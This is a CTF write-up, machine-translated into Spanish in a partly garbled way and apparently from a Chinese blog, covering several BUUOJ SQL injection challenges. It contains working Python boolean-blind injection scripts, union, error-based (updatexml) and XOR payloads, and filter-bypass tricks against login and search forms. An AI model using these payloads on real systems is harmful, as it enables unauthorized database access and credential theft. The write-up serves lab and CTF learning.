BUUOJ inyección SQL (a)

[BJDCTF] inyección secundaria

fuzz encontraron los siguientes filtros:

select
or+空格
单引号
等号

Hint.txt acceso directo a los nombres Nombre + columna de la tabla:

select * from users where username='$_POST["username"]' and password='$_POST["password"]';

Las comillas simples pueden ser filtrados \\para escapar, o + filtro de espacio puede ser utilizado: or/**/o ^reemplazados.

1: sitios de prueba ciega de Boole

Porque dado el nombre de la columna, se puede ir directamente a la contraseña explosión ciega de Boole.

guión ancestral de la siguiente manera:

import sys
import requests

url="http://e19af87a-703a-46e3-b222-6e8a40d420f5.node3.buuoj.cn/index.php"
payload="^(ascii(substr((password),%d,1))>%d)#"
p2={"username":"admin\\","password":''} //逃逸,bypass对单引号的过滤
flag=''
for i in range(1,1000):
    max=127    #ascii printable range
    min=32    
    while abs(max-min)>1: 
        mid=(max+min)/2
        p2['password']=payload % (i,mid)
        response=requests.post(url,data=p2).text
        #print(response)
        if 'P3rh4ps' in response: //1
            min=mid
        else:
            max=mid
    flag=flag+chr(int(max))
    print("password is:%s" % flag)

Después de la tala obtener bandera.

[GXYCTF2019] BabySQli

Descripción Asunto:

刚学完sqli,我才知道万能口令这么危险,还好我进行了防护,还用md5哈希了密码!

search.php acceso, a una serie de comentarios:

imagen-20200409110040534

Sólo letras mayúsculas y folio --Base32

imagen-20200409110104932

Después de re-Base 64, aparecerá declaración:

imagen-20200409110124101

Para el nombre de tabla, columna, se inyecta en el carácter. Y de acuerdo con la descripción, pwd Se estima que sólo tome MD5 probado.

Parece punto de inyección en el nombre aquí. Introduzca admin eco pase mal, parece nombre de usuario no puede ir mal

Puede seguir campos de ráfaga: admin' union select 1,2,3#4 error. Descripción en tres campos.

imagen-20200409110845942

imagen-20200409110949220

Al mismo tiempo de entrada, 999' union select 1,'admin',3%23no se queja, haciendo eco pase mal. Descripción nombre de usuario en el segundo campo.

La naturaleza de la investigación conjunta: sitios de prueba

当查询的数据不存在的时候,联合查询就会构造一个虚拟的数据。

Por ejemplo, una tabla de este tipo:

imagen-20200409111701081

imagen-20200409111938290

Si construye una declaración:

SELECT * FROM `users` WHERE user='0' union select 0,'admin','e00cf25ad42683b3df678c61f42c6bda'#

imagen-20200409112141109

Se puede reemplazar de forma automática de acuerdo ......

Por lo que habrá una solución de esta cuestión:

Introduzca el nombre de usuario 1' union select 0,'admin','e00cf25ad42683b3df678c61f42c6bda'#;

introducción de la contraseña admin1(correspondiente a un valor por encima de la MD5 cadena)

imagen-20200409112627431

[Geeks Challenge 2019] HardSQL

La inyección error básico, hay varios puntos a observar:

= 1. filtrados, Métodos:like

display 2.flag incompleta (mostrar hasta 32), el método:right()

imagen-20200409114505478

imagen-20200409114537868

admin%27or(updatexml(1,concat(0x7e,(select(group_concat(right(password,25)))from(H4rDsq1)),0x7e),1))%23&password=777

imagen-20200409114640689

[Geeks Challenge 2019] FinalSQL

Esta pregunta es un nombre de usuario y la contraseña del filtro de la mayor parte de la clave, aunque dada la inyección puede ser utilizado. Pero no específica eco.

Apuntará a los cinco botones: ?id=1, parece ser otra consulta

sugiereimagen-20200409115428859

fuzz encontró: 1^1^1puede realizar, si se filtró, parece es utilizar ^para construir Boolean Persianas:

imagen-20200409115542629

sitios de prueba a ciegas de Boole realmente tienen bastante de él divertido ^^

De esta manera, una vez que el sindicato o, y el filtro puede ser considerada como exclusiva o inyección. Es el OR exclusivo utilizando el algoritmo: ............

1^1^1=1
1^0^1=0
1^1=0
0^0=0
1^0=1

guión ancestral:

import sys
import requests

url="http://6d384ed5-71d5-45b1-ae8b-fb9c958753ee.node3.buuoj.cn/search.php?"
payload="1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),%d,1))>%d)^1" #1^1^1=1.1^0^1=0
p2={"id":''}
flag=''

for i in range(1,1000):
    max=127    #ascii printable range
    min=32    
    while abs(max-min)>1: 
        mid=(max+min)/2
        p2['id']=payload % (i,mid)
        #print (p2)
        response=requests.get(url,params=p2).text
        #print(response)
        if 'Click' in response:
            min=mid
        else:
            max=mid
    flag=flag+chr(int(max))
    print("your want is:%s" % flag)
1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),%d,1))>%d)^1   //表名
1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='Flaaaaag')),%d,1))>%d)^1   //列名
1^(ascii(substr((select(group_concat(fl4gawsl))from(Flaaaaag)),%s,1))>%d)^1 //查,结果不在这个库……
故技重施:
1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')),%d,1))>%d)^1 
1^(ascii(substr((select(group_concat(password))from(F1naI1y)),%s,1))>%d)^1

Bastante espectacular:

imagen-20200409124858994

bandera al final, esta dicotomía se estima para funcionar, si no está muerto:

imagen-20200409124920509

Supongo que te gusta

Origin www.cnblogs.com/keelongz/p/12668850.html
Recomendado
Clasificación